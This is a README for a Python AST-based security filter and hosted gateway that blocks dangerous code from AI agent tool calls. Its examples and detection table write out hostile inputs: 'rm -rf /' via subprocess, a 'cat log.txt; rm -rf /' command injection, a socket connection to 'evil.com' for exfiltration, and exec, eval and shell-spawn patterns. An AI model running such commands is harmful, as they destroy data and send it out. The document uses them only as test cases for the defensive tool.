# AW-1 Circuit Breaker

[![PyPI version](https://img.shields.io/pypi/v/aw1-circuit-breaker.svg?color=blue)](https://pypi.org/project/aw1-circuit-breaker/)
[![Glama Score](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker/badges/score.svg)](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker)
[![License: Apache 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)
[![Latency](https://img.shields.io/badge/AST%20Evaluation-%3C0.2ms-brightgreen.svg)]()
[![Gateway Status](https://img.shields.io/badge/Gateway-200%20OK%20Live-emerald.svg)](https://p20.laveto.net/wisdom/)

> Deterministic sub-0.2ms AST security circuit breaker, hardware TEE attestation, and Model Context Protocol (MCP) gateway for autonomous AI agents, tool dispatch pipelines, and LLM execution runtimes.

---

## ⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

```
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
```

Or verify an arbitrary snippet:

```bash
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

```

---

## Quick Connect: Remote MCP Gateway (No Local Python Setup)

Connect Cursor, Claude Desktop, Windsurf, or LangChain agents directly to the hosted, high-availability AW-1 Gateway at `https://p20.laveto.net/wisdom/mcp`.

### 1. Claude Desktop / Cursor (`claude_desktop_config.json`)

```json
{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "url": "[https://p20.laveto.net/wisdom/mcp](https://p20.laveto.net/wisdom/mcp)",
      "headers": {
        "X-Laveto-Key": "YOUR_LICENSE_KEY"
      }
    }
  }
}

```

> **Note**: Public tool listing and capability handshakes (`tools/list`, `initialize`) are unauthenticated. Tool executions (`tools/call`) are protected under Gate 7 statutory containment. Subscribe at [https://p20.laveto.net/wisdom/buy](https://p20.laveto.net/wisdom/buy) to provision your production license key.

### 2. Remote SSE Streaming Transport

For frameworks utilizing persistent Server-Sent Events (SSE) connections:

```text
Endpoint: [https://p20.laveto.net/wisdom/mcp/sse](https://p20.laveto.net/wisdom/mcp/sse)
Message Dispatch: [https://p20.laveto.net/wisdom/mcp/message](https://p20.laveto.net/wisdom/mcp/message)

```

---

## Local Self-Hosted Installation

### Via pip

```bash
pip install aw1-circuit-breaker

```

### From Source

```bash
git clone [https://github.com/MvikManners/aw1-circuit-breaker.git](https://github.com/MvikManners/aw1-circuit-breaker.git)
cd aw1-circuit-breaker
pip install -r requirements.txt

```

### Running the Local MCP Server

Run directly with Python:

```bash
python mcp_server.py

```

Or via uvx:

```bash
uvx mcp_server.py

```

Local Stdio Configuration (`claude_desktop_config.json`):

```json
{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "uvx",
      "args": ["aw1-circuit-breaker"]
    }
  }
}

```

---

## Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation, delimiter hijacking, and token smuggling; AST inspection guarantees deterministic enforcement.

### Interception Matrix

| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
| --- | --- | --- | --- |
| **Dynamic Execution** | `eval(compile(...))` | Evades semantic filters | **Tripped (`RESTRICTED_INVOCATION`)** |
| **Shell Escapes** | `subprocess.Popen(['bash', ...])` | Masked as system task | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
| **Lateral Exfiltration** | `socket.connect(('evil.com', 443))` | Disguised as HTTP fetch | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
| **Filesystem Wipe** | `base64.b64decode(...) -> exec()` | Obfuscated bytecode | **Tripped (`DECONSTRUCTION_ANOMALY`)** |
| **Covert Subprocess** | `pty.spawn()` / `os.system()` | Smuggled in raw arguments | **Tripped (`CRITICAL_EXEC_INTERCEPT`)** |

### Run the Showcase Locally

```bash
python examples/exploit_showcase.py

```

---

## Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

*Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.*

| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
| --- | --- | --- | --- | --- |
| **AST Inspection (Benign Payload)** | **0.0889 ms** | 0.1298 ms | 0.1645 ms | `< 0.2 ms` Overhead |
| **AST Inspection (Adversarial Exploit)** | **0.0520 ms** | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| **Shell Argument Injection Guard** | **0.0051 ms** | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |

Reproduce locally:

```bash
python benchmark.py

```

---

## Framework Integration

### 1. LangGraph / LangChain Adapter

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

```python
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

```

### 2. Python Decorator Pattern

Wrap critical tool functions inline:

```python
from aw1_breaker import protect_tool

@protect_tool(strict_ast=True, allow_socket=False)
def run_python_code(script: str) -> str:
    # Safe code execution block
    return exec_env.run(script)

```

---

## Autonomous Agent Discovery & Open Standards Compliance

The AW-1 live infrastructure implements open web discovery standards across search engines and autonomous AI agent registries:

* **Agent Manifest**: `https://p20.laveto.net/.well-known/agent.json`
* **Agent Card**: `https://p20.laveto.net/.well-known/agent-card.json`
* **Agent Resource Description (ARD)**: `https://p20.laveto.net/.well-known/ard.json`
* **AI Model & Agent Catalog**: `https://p20.laveto.net/.well-known/ai-catalog.json`
* **Agent Permission Protocol**: `https://p20.laveto.net/agents.txt`
* **RFC 8414 OAuth Metadata**: `https://p20.laveto.net/.well-known/oauth-authorization-server`
* **Dynamic Decision Assurance Sitemap**: `https://p20.laveto.net/sitemap.xml`

---

## Commercial Licensing & Enterprise Support

The AW-1 open-source library provides local AST circuit breaker primitives under Apache 2.0.

For high-throughput cloud endpoints, hardware TEE remote attestation validation, statutory audit ledgers (`/wisdom/audit/LWA-...`), and enterprise SLAs:

* **Developer & Startup Tier (Hosted MCP Gateway)**: [Subscribe via Lemon Squeezy](https://p20.laveto.net/wisdom/buy)


* **Interactive Documentation**: [https://p20.laveto.net/wisdom/docs](https://p20.laveto.net/wisdom/docs)
* **Live Node Telemetry**: [https://p20.laveto.net/wisdom/](https://p20.laveto.net/wisdom/)
* **Enterprise Contact**: `command@laveto.net`

---

## License

Licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). See [LICENSE](https://www.google.com/search?q=LICENSE) for details.

```

```